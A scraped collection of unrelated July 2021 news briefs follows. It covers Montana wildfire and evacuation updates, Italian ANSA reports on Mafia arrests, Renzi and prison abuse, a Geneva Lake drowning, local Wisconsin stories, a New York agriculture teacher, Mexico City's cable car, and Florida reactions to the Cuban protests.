According to Kelli Roemer, public information officer for the MY Complex Fire, the Peterson Fire is burning 4,369 acres and is zero-percent contained, the Musselshell Trail Fire is burning 22,481 acres and is 42-percent contained and the Western Fire is burning 905 acres and is 55-percent contained. In total, the fires are burning 27,755 acres.

A release from NRIMT said the Peterson Fire experienced substantial fire activity Sunday afternoon due to high temperatures, low relative humidity and fluctuating winds. The fire grew twice its size.

Crews completed a dozer and handline around structures on Sunday. They will use aircrafts to help firefighters on the ground Monday. Crews will reconnaissance additional fire growth and and establish the southeast part of the fire.

For the Western Road Fire, NRIMT said crews will resume monitoring the perimeter and put out hotspots within several hundred feet of the interior.

Crews put out about four to five acres of interior burning on the Musselshell Trail Road Fire Sunday. On Monday, crews will resume monitoring hotspots to make sure they are not threatening the line, according to NRIMT.

About 15 to 20 homes have been evacuated, and evacuation orders remain in place for the areas east of Queen's Point road, south of Harvey Road, west of Melstone-Custer Road and north of Alkali Creek Road.

No structures have been lost.

UPDATE: JULY 11 AT 4:37 P.M.

Musselshell County DES reports that due to rapidly changing fire conditions with the Peterson Fire, evacuation notices have been issued.

Evacuation notice has been issued for anyone living in the following areas:

Anyone east of Queen's Point road, south of Harvey Road, West of Melstone-Custer Road and north of Alkali Creek Road.

A temporary shelter is being set up by the Red Cross at the Roundup Community Center. The hotline number is 1-800-272-3338 for more evacuation location and check-in.

UPDATE: JULY 11 AT 12:18 P.M.

The Musselshell/Yellowstone Complex, also referred to as the MY Complex, of fires containing the West Road Fire, the Peterson Fire and the Musselshell Trail Fire is now reported to be 24,007 acres large and 60 percent contained.

An update from the Northern Rockies Incident Management Team 7 Sunday says planned activity for the Western Road Fire includes firefighters continuing to patrol the perimeter extinguishing remaining hot spots.

No primary residences are reported to have been lost.

On Saturday around 4:00 pm, winds picked up and the southwest portion of the Peterson Fire and it grew about 600 acres according to the update.

Crews were assisted by increased air support late Saturday afternoon and into the evening.

Sunday's operations with the fire will utilize aircraft to support firefighter efforts on the ground. Crews and heavy equipment will focus on constructing line directly along the fires edge from the southwest corner to the north.

Engine crews will continue to patrol the Musselshell Trail Road Fires 38 miles of perimeter Sunday, extinguishing areas of remaining heat.

UPDATE: JULY 10 AT 2:48 P.M.

Command of the Musselshell/Yellowstone Complex, which contains the Western Road Fire, the Peterson Fire and the Musselshell Trail Fire, has been assumed by the Thompsons Northern Rockies Incident Management Team 7 Saturday morning.

An update from the Northern Rockies Incident Management team says the team is working in coordinating with Montana DNRC, the Bureau of Land Management and Yellowstone County.

As of Friday morning, the Western Road Fire is estimated at 1,500 acres, the Peterson Fire is approximately 1,600 acres and the Musselshell Trail Road Fire is estimated at 22,000 acres.

Overnight into Saturday, firefighters saw minimal fire growth and more accurate mapping is expected Saturday.

On Saturday, crews, assisted by engines and heavy equipment, will continue to hold and patrol the fire line of the Western Road Fire and extinguish any hot spots located near the edge of the fire.

At this time, no primary residences have been lost.

Engine crews will continue to hold and improve completed fire line of the Peterson Fire and additional resources will assess opportunities to construct fire line directly align the fires edge as well as indirect line away from fire activity.

For the Musselshell Trail Road Fire, engine crews are working with heavy equipment to hold and improve completed fire line according to the update.

A 25 percent chance of thunderstorm activity is predicted in the are for the afternoon Saturday between 2:00 pm and 6:00 pm.

UPDATE: JULY 9 AT 9 P.M.

According to a Facebook update from Musselshell County DES, crews will primarily focus on the Peterson Fire on Saturday, since it is producing large amounts of heat and smoke.

Crews made great progress on securing the Western Fire lines Friday, and say the dozer line is 100% around the fire.

A small burnout operation is being conducted to secure one portion of indirect line, which will help ensure the fire can not make a run at the line and potentially jump.

Night crews will patrol and mop up.

Crews also worked putting in line and keeping the Peterson Fire in check.

No major growth of the fire was reported, but it was burning heavy fuels in the rough terrain producing large amount of heat and smoke.

This fire will become the primary focus of Saturday's operations with hand crews and incoming resources.

Northern Rockies Team 7 will take over operations Saturday, allowing local resources the chance to rest and rehabilitate themselves.

UPDATE : JULY 9 AT 10:30 A.M.

Musselshell County DES updated progress Friday on the two fires burning in Musselshell County.

According to a Facebook post from Musselshell County DES, crews worked all night to establish a perimeter for the Western Fire. A small area broke but crews were able to repair it. Dozer lines will be reinforced and lines will be added to the north flank of the fire.

At the Peterson Fire, crews worked on areas of the fire that went outside the rough terrain, Musselshell County DES said. They tried to get air resources to help in the rough areas.

A Type 2 Incident Management Team was called on to help out with efforts for both fires and the Musselshell Trail Fire in Yellowstone County.

Evacuations have been lifted for Johnny Coal Subdivision.

UPDATE: JULY 8 AT 6:48 P.M.

A temporary shelter has been set up by the Red Cross at the Roundup Community Center for those who have been evacuated.

UPDATE: JULY 8 AT 4:30 P.M.

Code Red volunteer evacuation notices are issued for residents of the Johnny Coal Subdivision.

Earlier, potentially affected areas near the fire just off of Winchester Drive at the end of Jeffery Mine Road were given Code Red pre-evacuation notices.

DES says the fire is moving fast in a east to south east direction toward the north portion of the Johnny Coal Subdivision.

The fairgrounds are open for individuals with livestock that needs to be transported from the area.

UPDATE: JULY 8 AT 4 P.M.

Musselshell County DES is reporting two more fires.

Crews are on-site at the second fire just off Winchester Drive.

There are also crews working on the third fire, which is a timber fire east of the five acre fire near Queens Point.

PREVIOUS COVERAGE:

QUEENS POINT, Mont. - Musselshell County Disaster & Emergency Services reports an estimated five acre fire near Queens Point.

The fire is located southwest of Queens Point Rd.

Crews are working to contain the blaze, but there are concerns with high winds in the forecast.
HELENA, Mont. - A proposed plan to change the criteria a city must reach to be considered a Metropolitan Statistical Area (MSA) has been abandoned.

This plan would have impacted federal funding received by Great Falls, Missoula and Bozeman.

The OMB proposed the change in the population threshold of the MSA, to 100,000 people in January.

Montanas senators, Steve Daines and Jon Tester urging for the OMB to reverse its decision.

Montana communities depend on certainty and reliable funding to thrive, and a shortsighted bureaucratic change like this is the last thing cities like Great Falls, Missoula, and Bozeman needed as they work to get back on their feet after the pandemic, Tester said in a release. Im glad OMB listened to me and the many voices who pushed back against this poorly conceived proposal, and I will continue fighting to make sure cities and towns across our state have the resources they need to provide critical services, create jobs, and come out strong on the other side of this crisis.

Im glad to see the Biden administration listen to my request and rollback their proposal to change city size designations that would have robbed Bozeman, Missoula and Great Falls of critical resources. This is great news for our Montana communities, Daines stated in a release.
HAMILTON, Mont. - The Bitter Root Humane Association is the only shelter between Salmon, Idaho and Missoula. It prides itself on not turning away any animal in need and estimates it rehomes about a thousand animals each year. In order to continue to do so, this new shelter was necessary.

The new shelter allows the humane society to better help its animals and spoil them a bit too.

The cats get lots of natural light and have enclosed outdoor porches. The dog kennels feature more privacy with big windows, heated floors and outdoor play areas.

On top of that, the shelter has a better treatment center to care for sick animals.

Executive Director Danny Groshong said the added space will make adoptions more special for families.

"We have extra play yards in the back and there's a dedicated play space for the cats," Groshong said. "It's just easier to get people go have that personal time to make sure they find that forever home."

The new shelter will also serve the entire Bitterroot Valley. There's going to be an outdoor space for animals during wildfires, a barn for larger animals and a community education room for trainings and events.

Looking ahead, the humane association is planning a number of events to give the whole community a chance to see the new shelter.
PALERMO, JUL 14 - Italian police on Wednesday arrested 11 people in a sweep that hit a Sicilian Mafia clan based in the town of Torretta near Palermo. Torretta, a town with 4,000 inhabitants in the Palermo hinterland, has always had solid links to New York crime families, police said. They were consolidated when the losers in the Second Mafia War unleashed by Toto 'the Beast' Riina emigrated to the US. An emissary from one of the New York families was welcomed to Torretta in September 2018, police said. The Torretta family controls public works, construction, agriculture and animal rearing in the local area, police said. The 'pizzini' or notes conveying confidential information sent to fugitive superboss Matteo Messina Denaro went through Torretta, police said. (ANSA).
ROME, JUL 14 - Ex-premier Matteo Renzi is under investigation for fake invoices on allegedly non-existent transactions in relation to his compensation for a conference in Abu Dhabi, the centrist Italia Viva (IV) party leader discloses in his new book, Controcorrente (maverick, or against the tide). Florentine prosecutors are working on the case, he says. The revelation comes a day after a report that Rome prosecutors are investigating Renzi for illegal party funding and issuing fake invoices in relation to a documentary he made about his native Florence. Renzi has been placed under investigation on suspicion of illegal party funding and issuing false invoices together with VIP manager Lucio Presta, the daily Domani reported Tuesday. It said Rome prosecutors placed Renzi, former leader of the centre-left Democratic Party (PD) under investigation a few weeks ago "in relation to a probe into economic ties between Renzi and the TV agent". The probe reportedly centres on bank transfers for the documentary Florence According To Me, transactions which ended up in an anti-money laundering report by the Bank of Italy's financial fraud office UIF in 2019. Renzi has been criticised for conferences in Middle Eastern Arab states including one in Saudi Arabia where he praised Prince Mohammed bin Salman, whom the CIA say ordered journalist Jamal Kashoggi's murder and dismemberment in the Saudi consulate in Istanbul in October 2018, as the promoter of a "new Renaissance" in Saudi Arabia. As well as boosting MBS as a reformer, Renzi said he envied labour costs in Saudi Arabia, where many immigrant workers are paid slave wages in appalling living and working conditions. Renzi has promised to explain his remarks, while acknowledging that the labour cost comment was "not one of my best". The former centre-left Democratic Party (PD) leader, who sparked a government crisis by pulling IV out of Giuseppe Conte's ruling coalition leading to Mario Draghi's appointment at the head of a national unity government, has been widely criticised for his paid speech in Riyadh. (ANSA).
ROME, JUL 14 - Italy's NAS health and hygiene police found irregularities including mistreatment in 122 of the 536 mental health facilities they inspected over the last year, or 22%, sources said Wednesday. They issued 141 penal sanctions and fines totalling 62,000 euros. Two facilities, in Agrigento and Sassari, were found to have mistreated and abandoned inmates in unsanitary conditions and not provided adequate treatment. Many facilities gave their clients out-of-date drugs, police said. (ANSA).
ROME, JUL 14 - UNESCO on Wednesday hailed the Italian government's decision Tuesday to ban cruise ships from the Venice lagoon starting August 1. "Italy's decision to ban the access of large cruise ships to the Venice Lagoon as of 1 August 2021 is a very good news and an important step that significantly contributes to the safeguarding of this unique heritage site. #Venice," tweeted UNESCO Director General Audrey Azoulay. The nearby industrial port of Marghera is being readied as an alternative docking point and the government will compensate firms and workers hit by the ban. UNESCO said on June 21 that Venice's survival would be even more in peril if the lagoon city didn't issue a permanent ban on cruise ships docking there. The UN heritage body said it would examine a proposal to put Venice on its endangered list at its plenary session on July 16 to 31. There have long been calls for cruise ships to be banned from Venice because of their impact on the city's delicate historic buildings and on the lagoon's unique ecosytem. The drive to ban them intensified after a cruise ship crashed into a quay in June 2019. (ANSA).
ROME, JUL 14 - Italy has not and will not fund the Libyan coast guard, Foreign Minister Luigi Di Maio told the House Wednesday after several NGOs called for Italian funding to be halted because the Libyans are allegedly causing "a constant massacre of migrant people in the central Mediterranean and s cycle of violence, exploitation and violation of human rights systematically endured by migrants and refugees in Libya". Di Maio said "the strengthening of the Libyan authorities capacity to conduct search and rescue operations in their own areas of responsibility, respecting international norms, is one of the lines pursued by the (Italian) government. "It fits into the framework of initiatives to encourage a management (of migrant flows) that is more respectful of international standards on irregular flows" by Libya "and to combat the trafficking of human beings". (ANSA).
SIRACUSA, JUL 14 - Italian police on Wednesday arrested a 38-year-old Sicilian man for murdering and disposing of the bodies of an 89-year-old woman and her 56-year-old daughter who lived together at Lentini near Siracusa. Adriano Rossitto, from Lentini, was arrested on suspicion of killing the women and disposing of their bodies, which were found in different places on July 8. The older woman's body was inside a coffin, wrapped in plastic sheeting. (ANSA).
ROME, JUL 14 - Italy's prison system must be reformed, Premier Mario Draghi told authorities after visiting a jail near Naples where 52 warders were recently arrested after allegedly brutally beating inmates after a COVID riot in April last year. "We are not here to celebrate triumphs or successes but to face the consequences of our defeats", he said. Referring to videos of the alleged beatings, Draghi said "what we saw in the last few days deeply shocked the consciences of the Italians. "They are images of over a year ago. The ongoing investigations will establish individual responsibilities. But collective responsibility (belongs to) a system that must be reformed." Draghi went on: "The Italian Constitution lays down in Article 27 the principles that must guide the instrument of detention: "Penalties cannot consist in treatment contrary to the sense of humanity and must tend towards the re-education of the convicted". "These principles must be accompanied by safeguarding universal rights: the right to psycho-physical integrity, education, work and health, just to cite a few. These rights must always be protected, in particular in a context that sees limitations of freedom. "The government has no intention of forgetting. The proposals of Minister Cartabia represent a first step that I support with conviction, There can be no justice where there is abuse. And there cannot be re-education where there is abuse. "Italy has been condemned twice by the European Court of Human Rights for prison overcrowding. There are almost 3,000 inmates more than the available beds. In Campanian institutes they are around 450. The numbers are improving, but they are still unacceptable. They obstruct the path towards rehabilitation and reinsertion into social life, objectives often indicated by the Constitutional Court". Cartabia said that the pandemic "acted as a detonator for longstanding issues" that afflict Italy's jails, the prime one being overcrowding, and there must be intervention at "several levels" including material facilities and training, but also on the legislative front. She said the government's new package of reforms corrects "penal measures just centered on prison". Cartabia said more prison staff must be hired, as soon as possible. "We need more funds and more commitment in permanent training". especially for "penitentiary police that have to accompany inmates in their process of re-education". Turning to Draghi, Cartabia said "this must be the opportunity to make sure the prison world turns the page". Earlier, as the premier toured the jail, prisoners chanted his name and "pardon, pardon". Naples police sent in special penitentiary police forces after the April 6 riot at the jail at Santa Maria Capua Vetere near Caserta north of Naples. The special forces are suspected of brutality and may also face charges of torture in the methods used to 'punish' the rioters, judicial sources said. A preliminary investigations judge (GIP) said prisoners were made to strip and kneel and beaten with guards wearing their helmets so as not to be identified in what he called "a horrible massacre". Some 15 men were also put into solitary without any justification, the GIP said. Police reportedly found chats on the suspects' phones including, before the alleged violence, "We'll kill them like veal calves" and "tame the beasts", and afterwards "four hours of hell for them", "no one got away", and "(we used) the Poggioreale system", referring to a tough Naples prison. Some of the alleged rioters had their hair cut and beards shaved off. Among those probed are doctors who allegedly falsely certified that some warders had been hurt in the clashes. Cartabia has said that CCTV footage of the violence showed that the officers had betrayed the Italian Constitution. (ANSA).
Littleton, NC (27850)

Today

Periods of rain. High 72F. Winds light and variable. Chance of rain 90%. Rainfall may reach one inch..

Tonight

Overcast with rain showers at times. Low near 65F. Winds light and variable. Chance of rain 50%.
Authorities have released the name of the 22-year-old Illinois man who drowned in Geneva Lake on Tuesday evening.

He has been identified as Fadi A. Albazi of Morton Grove, a northern Chicago suburb, the Geneva Lake Law Enforcement Agency said in a release Wednesday.

On Tuesday, July 13, 2021 at approximately 3:43 p.m., a 911 call was received by Walworth County Communications Center of a possible drowning on Geneva Lake near George Williams College in Williams Bay, according to the release.

Emergency responders from Wisconsin and Northern Illinois came in to assist in locating the missing person. The operation went from rescue to recovery after initial efforts to locate the victim were unsuccessful, and the medical doctor on staff determined that the possibility of recovery of life had passed.

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The initial investigation showed the victim was being pulled on an inflatable tube by a boat with five people on board. When the victim fell off the tube, his personal flotation device slipped off. The victim began to struggle to remain above water. Occupants on the boat jumped into the water to try and rescue the victim but were unsuccessful.

The search area was approximately 1,700 feet south of George Williams College.
GENEVA  A man from the Como area of Geneva has been charged after he reportedly punched a nurse in the face and used profanities at hospital staff.

Darin Monsanto, 55, of the N3100 block of Quail Road, Geneva, is charged with battery to a nurse and disorderly conduct.

According to the criminal complaint:

Police were called to Mercy Walworth Hospital for a report of a man who had punched a nurse on May 5.

Officers made contact with one of the nurses who reported that the man, Monsanto, had been brought in by an ambulance earlier in the evening and had been acting disorderly since he arrived.

The nurse said that Monsanto had reportedly yelled at staff and called them profanities.

At one point, the nurse reports that Monsanto had grabbed her arm and attempted to twist it while she was trying to treat him.

Later in the evening, a nurse was reportedly standing near the end of Monsanto's hospital bed when he got up, walked over to the nurse, punched her in the face and then laid back down. The nurses report that the punch was unprovoked.
Minimum five years

In the second case, Devon Vaughn is charged with arson in connection with a fire that destroyed the B&L Office Furniture store at 1101 60th St. The store has since moved to a new location in the Kenosha Trade Park on 75th Street.

Each of the arson crimes carries a mandatory minimum prison term of five years.

These cases are the direct result of the dedicated, skilled and collaborative efforts of ATF (Bureau of Alcohol, Tobacco, Firearms and Explosives) and its federal, state and law enforcement partners, Frohling said. Along with our partners, the Department of Justice is committed to holding individuals who engage in arson and other violent offenses accountable for their actions.

I commend all the law enforcement agencies for their tireless efforts and the United States Attorneys Office for their diligence in charging these crimes that were committed during the civil unrest in Kenosha last August, ATF Special Agent in Charge Kristen de Tineo of the Chicago Field Division added. ATF, alongside our partners, will continue to investigate those violent acts, and appeal to the public for their assistance, to ensure those responsible are held accountable.

Kenosha Interim Police Chief Eric Larsen also issued a statement.
WILLIAMS BAY  As of 10 p.m. Tuesday, July 13, crews were still out on Geneva Lake searching for a man in his 20s who had not been seen since he went under water around 3:30 p.m.

The man, who is approximately 22-years-old was out tubing on the lake when he fell off the tube and went under water, according to Tom Hausner commander of the Geneva Lake Law Enforcement Agency.

He was wearing a life jacket at the time, but the life jacket came off during the incident, Hausner said.

After the call came in agencies from Wisconsin and Illinois quickly responded, with as many as 150 responders on scene, Hausner said.

They are using drones above and below water.

The public is asked to avoid boating in the area surrounding George William College campus from Fontana to Conference Point as the search continues. The Williams Bay boat launch will remain closed until further notice as the search continues, authorities said Tuesday night.

At 5:13 p.m.  nearly two hours after the call came in  the Geneva Lake Police stated on Facebook that the water search was no long a search and rescue mission.

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Our operations have turned to recovery at this time, the Geneva Lake Police posted online.
Republican lawmakers have introduced legislation to allow Wisconsin consumers to get electricity from independent solar plants.

The bill, authored by Sen. Duey Stroebel of Saukville and Rep. Timothy Ramthun of Campbellsport, would require utilities to purchase energy produced by community solar programs within their territories and credit subscribers for that energy.

Community solar is an increasingly popular concept that allows ratepayers to buy shares in solar farms and sell the energy produced to the utility.

Its a way to access clean energy and the economic benefits for the roughly 75% of customers who cant put solar panels on their roofs  either because they dont own their homes or dont have an appropriate site.

Nick Hylla, executive director of the Midwest Renewable Energy Association, said the programs are particularly appealing to businesses that can reduce their energy costs and claim carbon neutrality without the hassle of building and permitting their own solar facilities.

Community solar is the best thing out there, Hylla said. If you want to attract business, this is the way to do it.
Romulus Central School District is in Seneca County, which is among New Yorks most rural counties. It may seem odd that Romulus had no agriculture teacher until recently; however, the addition of Jami Willard to the faculty will help students learn more about the many aspects of farming.

There is so much they dont know, Willard said recently. They may come from a dairy farm. Would they have interest in something they didnt grow up doing?

Willard, who also currently farms with her husband, spent her youth in nearby Interlaken, New York, helping on the farm of her grandfather, Albert Updike. He also operated Updike Trucking. Now, Willards father, Jim Noveck, operates both the farm and trucking business, now Jim Noveck Trucking.

The farm raises mostly crops and a small number of beef cattle. Willard helped with the cattle, and with growing and preserving produce on the farm. Updike passed away in 2011.

Willards various experiences on the farm have proved helpful for her occupation as an educator. In fact, Updike and Willards grandmother, Darlene Willard Brehm, encouraged her to pursue ag education as her career.

I was able to learn so many things hands-on that many dont get to experience, Willard said. I knew right away that I wanted to teach others the ropes and how to live off the land.

Willard completed her bachelors degree in education at Ashford College and her masters in agriculture education at State University of New York Oswego.

I didnt have any ag credits before I went for my masters, she said. I completed an occupational exam, so I had to complete a hands-on to show I knew how to stick weld, take soil samples (and) understand tractor safety. It was a well-rounded exam, equivalent to 30 credit hours in college.

After graduation, she taught in Geneva, New York, for a year, but found that the students did not have much enthusiasm for agriculture. When Willard heard about the opportunity 15 miles away in Romulus, she felt that it would be a better fit for her.

Teaching the Many Facets of Farming

I have always been passionate about agriculture, and I am very fortunate to have the opportunity to start a new ag program at Romulus CSD, Willard said. They have been so supportive with all of my ideas since the start of the school year and I have a great group of students, too. They are passionate and eager to learn hands-on. I am so glad I am able to provide students with these opportunities, and having fun doing it.

She teaches ag tech and farm-to-table courses with 20 students between both classes. As more students become interested, she expects more to enroll next school year.

Ag tech is a well-rounded class, she said. We start on plants, plant propagation, horticulture, ornamental, wildlife management, small and large animal livestock.

Because of the broad subject matter, the ag tech class is a survey class to make students aware of a few of the many facets of farming. The farm-to-table course is more about community awareness and the local economy.

Willard sits on the board for Seneca County Farm Bureau and represents New York State Farm Bureau for District 3.

Working with her colleagues at the school has helped Willard develop creative ways to engage students, such as building a chicken coop with the tech class.

In March, the students germinated vegetable and flower seeds in the classroom and planted them the third week of May in the raised bed on the school grounds. The class has also incubated and hatched chicks.

Were looking forward to Chick Days, Willard said.

The ag students had a chick donation program on June 5. They incubated, hatched and raised chicks to donate to the local community.

We had a student who was so new to ag and chickens, Willard said. His grandparents go to Florida during the winter. He was so excited to tell them about what we were doing in class. They got him a chicken coop and he was able to take chickens home that he hatched. It was one of the best things for him. He sent pictures to my work email of him with his chickens at home. A few other students have done similar things.

The ag students have also made applesauce, canned apple butter, popped homegrown popcorn, planted fall garlic, made cranberry orange relish, started an aquaponic system in the classroom, participated in virtual farm tours and celebrated Ag Literacy Week by reading to the first- through fifth-grade students. The ag classes have also participated in multiple virtual farm tours.

Willard plans to build a tool shed with the ag tech students and complete barn quilts, which are plywood painted with colorful designs for decorating barns.

Having hands-on projects for the students is big (deal), Willard said. I had a teacher come up to me and say that theres been noticeable changes in work ethics and attitudes since I started the program. The students work together as a team and enjoy it. The teacher said Ive been breaking barriers that have been hard for these students in the past. Ive built so many great relationships with these students.

Willard hopes to advise an FFA chapter in the school within the next two years.

She also continues farming along with her son, Robby, and daughter, Rhettlee, and her husband, Rob Thompson, on the farm of his father, Bob Thompson. Its called Thompson Lakeview Farms, and has 1,400 acres where they raise crops, cattle and feeder hogs.

We stay busy, Willard said.
Back in 2017, Food and Water Watch had challenged the environmental assessment required at the time to comply with the National Environmental Policy Act for a loan guarantee approved by USDA for a poultry farm being constructed in Caroline County, Maryland.

In 2018, the federal district court held that the environmental group had standing to bring the challenge. More recently, A federal court of appeals recently reversed this decision.

A two-judge panel of the U.S. Court of Appeals, District of Columbia, agreed that the group did not have standing in Food and Water Watch v. U.S. Department of Agriculture.

In 2015, a new poultry grower sought loans from MidAtlantic Farm Credit to purchase and build the farm in Caroline County.

Farm Credit applied for a loan guarantee on behalf of the poultry grower from USDAs Farm Service Agency.

In reviewing the application for the loan guarantee, FSA was required at the time to do an environmental assessment under NEPA. Based on the environmental assessment and public comments, FSA determined that the project would have no significant impact and provided the loan guarantee.

In 2017, Food and Water Watch challenged the environmental assessment, saying that FSA had violated NEPA.

The environmental group also alleged that the farm affected many of its members, including one who lived next door to the farm and another who fished in waters near the farm.

FSA challenged Food and Water Watchs standing to bring the challenge, but the district court held that the group did have standing. In 2020, the district court dismissed the challenge, holding that the environmental assessment met NEPA requirements. Food and Water Watch has appealed that decision.

Not Over Yet?

American courts have a long tradition of only hearing cases in which the parties can clearly demonstrate being harmed. This means having a legally protectable interest in the dispute, also known as standing.

To have standing, courts typically require:

The party has an injury-in-fact  the party has suffered or will imminently suffer an injury to a legally protected interest. The injury cannot be hypothetical or abstract. The causation relationship between the injury and the defendants action is being challenged. It must be likely, not merely speculative, that the injury can be solved by a favorable decision, a concept known as redressability.

To the two-judge panel, this case starts and ends with standing. To the panel, Food and Water Watch had failed to establish that a member had an injury-in-fact.

And even if it could show that, the group did not have an injury that a favorable decision or redressability could resolve.

Because this is an appeal of a procedural injury, the argument is that FSA failed to prepare the environmental assessment properly. The court had to determine if vacating the loan guarantee would likely change how the poultry operation operates to resolve the Food and Water Watch members asserted injuries.

The environmental group argues that if vacated, the loan guarantee, the lender and the poultry grower could apply for a new guarantee.

The panel points out that this is speculative and may not resolve the members injuries. Food and Water Watch speculates that the grower and lender might seek another loan guarantee, but the situation has changed since 2015.

By 2017, when the challenge was brought, the grower had been running the operation for over a year, had additional streams of revenues, and had a history of payments against the existing loan.

Nothing in the record described the borrowers creditworthiness, or showed how the grower and the lender would react to vacating the loan guarantee.

The panel did not buy the speculation that there would be no farm without the loan guarantee and wanted to see evidence that the same financial situation existed in 2017 as in 2015, which would have required the grower to seek a loan guarantee.

The panel vacated the district courts decision and remanded it back to the district court to be dismissed for lack of jurisdiction.

Still, Food and Water Watch can request a hearing before the whole court of appeals or appeal to the U.S. Supreme Court, so this may not be the last word in this litigation.

Last year, the Council on Environmental Quality finalized the first regulatory update to the NEPA regulations since 1978.

In these final regulations, USDA loan guarantees were exempted from NEPA review. On the cases appeal, this exemption was at issue in whether the council has the statutory authority to revise the NEPA regulations.

The panel did not touch this issue because of the dismissal for lack of standing. One judge concurred with the decision and discussed the lack of standing issue. In the future, a court might be called upon to determine if the council has the authority to issue regulations.

This decision might not be the last decision involving this poultry operation, and it will be interesting to see what happens next.

This is not a substitute for legal advice.
The federal government wants to seize and condemn more than 36,000 pounds of meat and poultry products from a Lancaster County farm that's been at odds with the government over inspections.
After its inauguration, the new cable car system of Mexico City allowed commuters to visit the most traffic-clogged cities in the world on Monday.

Answering Mexico City's Congestion Problem

According to France24, the operation of the new cable cars in the capital city of Mexico promises to cut travel times for thousands of people in the northern portion of the city. The 9.2-kilometer or 5.7-mile aerial tramway, which was composed of 377 cable cars that can each carry 10 passengers would help the city's congestion problem.

Commuters were delighted by the new transportation system because compared to the buses and metro that they took in the past, passengers currently aboard the new 'Cablebus' system enjoyed their comfortable seats, legroom, air conditioning, and Wi-Fi. They also felt safe that they avoided buses where pickpockets and thieves operate.

A 46-year-old electrician, Marco Antonio Garcia, stated that a lot of time was wasted. Garcia emphasized that the Mexican city government should have done the cable car system much earlier. The electrician also said that he was delighted that what was a journey of more than an hour now only takes up to 20 minutes. Along with other passengers, Garcia laughed when he said that they were like in France or Switzerland, International Business Times reported.

Another commuter, 21-year-old psychology student Karen Leon said that the new cable car system reduced her travel time a lot. The student also added that the experience was amazing especially when traveling with family members who gazed down on the city with a mixture of excitement and amusement.

The change in the transportation system brought a huge impact on commuters. Many of the commuters endured the hellish ride in the past in the middle of the city and home to a total of more than 20 million individuals.

Based on the statement of Mayor Claudia Sheinbaum's office, the line which was situated between Cuautepec and Indios Verdes could carry up to 5,000 individuals an hour between six stations. The office also added that they were planning to open a second line in the eastern portion of the city.

Meanwhile, another cable car system was inaugurated in 2016 in Ecatepec, which is just north of the capital. Ecatepec is an area plagued by crime and also suffers from poor public transportation. Similar systems existed in a number of other Latin American cities, notably La Paz and adjoining El Alto in Bolivia which have a 32-kilometer aerial tramway.

ALSO READ: Mexican Avocado Farmers Gear up After Gang Wars Spike; New Wave Of Bloodshed Threatens

The Inauguration

Mexico City's mayor inaugurated the first leg of City's the "Cablebus" line on Sunday. Authorities stated that the cable-car lines would be serving the poorer outskirts of the city of 9 million.

Mexico City's Secretary of Works, Jesus Esteva, called the Cablebus project as a project of social integration. Esteva added that it's an urban regeneration project.

Cable cars were seen as a cheaper, quicker option in bringing public transport to poor communities located high up hillsides. Since they're airborne, the car lines also don't have as many difficulties with Latin America's issues of chaotic development, bad traffic and lack of rights-of-way, Republic World reported.

RELATED ARTICLE: Mexican Billionaire Carlos Slim to Pay for the Reconstruction of Collapsed Mexico City Subway Train Overpass

This article is owned by Latin Post

Written by Jess Smith

WATCH: Mexico City to open cable bus line to serve residents in poor neighborhoods - Arirang News
After one of the largest anti-government demonstrations in the history of Cuba, officials across the state of Florida on Sunday voiced their opposition to the Cuban authoritarian regime experienced by the island.

Supporters of Cuban Protesters

Showing their support for Cubans, Tampa citizens also hit the streets on Sunday to protest against food shortages and economic hardship experienced by the people of Cuba, placing the blame on the leadership in the country.

According to WFLA, Mayor Jane Castor said that Tampa stood with the brave people of Cuba because their ancestors also helped Tampa in building its community. Castor added that the fight of Cubans for freedom and against repression is all of their fights.

Also, Florida Governor Ron DeSantis voiced his support for Cuban protests on social media. DeSantis condemned the "tyrannical regime" in Havana. The state of Florida has the largest population of Cuban-Americans in the U.S.

Following the post of Gov. DeSantis, Lt. Gov. Jeanette Nunez stated during a press conference in Surfside that the governor was monitoring the situation in Cuba. Nunez added that the next few days would be pivotal for the people of Cuba, as they attempt to finish their decades-long quest for freedom. The lieutenant governor also shared that officials would continue to actively monitor the situation and emphasized that they were prepared for any impacts that would be brought by the situation, Tampa Bay Times reported.

ALSO READ: 16 Migrants Arrested After Boat Crashes Into Florida Seawall During Police Chase

The Chief Financial Officer of Florida, Jimmy Patronis also issued a proclamation, declaring the support of Florida for the Cubans' right to protest peacefully. Other city leaders have also voiced their support not only for the people of Cuba but also those who were living in the Miami area.

Mayor Daniella Levine Cava of Miami-Dade County said that they were standing with the Cuban people suffering on the island and all across different communities during the historic moment in the struggle for freedom, dignity, and basic human rights. Levine Cava shared that they were praying for the courageous actions of Cuban people in starting to give themselves real change and moving closer to a vision of a free Cuba, NBC Miami reported.

In addition, Miami Mayor Francis Suarez stated that the spontaneous uprising that has never happened in the last 60 years has happened in more than a dozen of cities across Cuba. Suarez stated that the government of Cuba has done what the country experienced under the Castro regime. The Cuban government shut down the internet, they also shut down the electricity and gone out on the streets to beat and harm those who were protesting peacefully for freedom and liberty of their country.

On the other hand, Cuban author Orlando Gutierrez-Boronat of the Assembly of the Cuban Resistance stated that the fight continued on the island despite government suppression and called on President Joe Biden to fix the situation.

Gutierrez-Boronat stated that people went to the streets in over 30 cities, and they have confirmed reports that despite the repression last night and hundreds of arrests in several cities in Cuba, people are still in the streets protesting. He also asked President Biden to fix what Kennedy broke and asked the U.S. president not to abandon the Cuban people.

RELATED ARTICLE: Cuba: Dissidents Ask U.S. to Intercede After Mass Protests as Pres. Joe Biden Sounds Support on Demonstrators

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WATCH: Thousands rally in Cuba against government as protests swell - CNBC Television
Former U.S. President Donald Trump's supporters are criticizing NBC, SNL, and other comedian impersonators. They claim that the popular Saturday Night Live is taking it too far to make fun of politicians, especially Trump.

The Vice reported that the fans of the former U.S. president filed complaints to the Government Attic and the Freedom of Information Act (FCC).

These complaints specifically target NBC, SNL, and other comedian impersonators, who are heckling the politicians and other government officials of the nation.

They added that Saturday Night Live should stop offering content that is making mean jokes and saying curse words against Donald Trump.

"Cancel Culture has to be stopped, but you can not allow on any broadcast the depiction /insinuation/outright demonstration of a leader of the United States being assassinated," said one of the viewers after Michel Che delivered a John Wikes Booth joke during weekend update back in 2019.

Donald Trump's Fans File Complaints Against SNL

According to the Government Attic's PDF file, CBG already conducted a search of databases containing informal complaints.

"Records responsive to your request were withheld or redacted under FOIA Exemption 6. Exemption 6 protects 'personnel and medical files and similar files the disclosure of which would constitute a clearly unwarranted invasion of personal privacy.'" said the agency in the letter.

READ MORE: Pres. Joe Biden, a 'Direct Beneficiary' of His Son Hunter Biden's Foreign Deals, Says Head of Government Accountability Institute

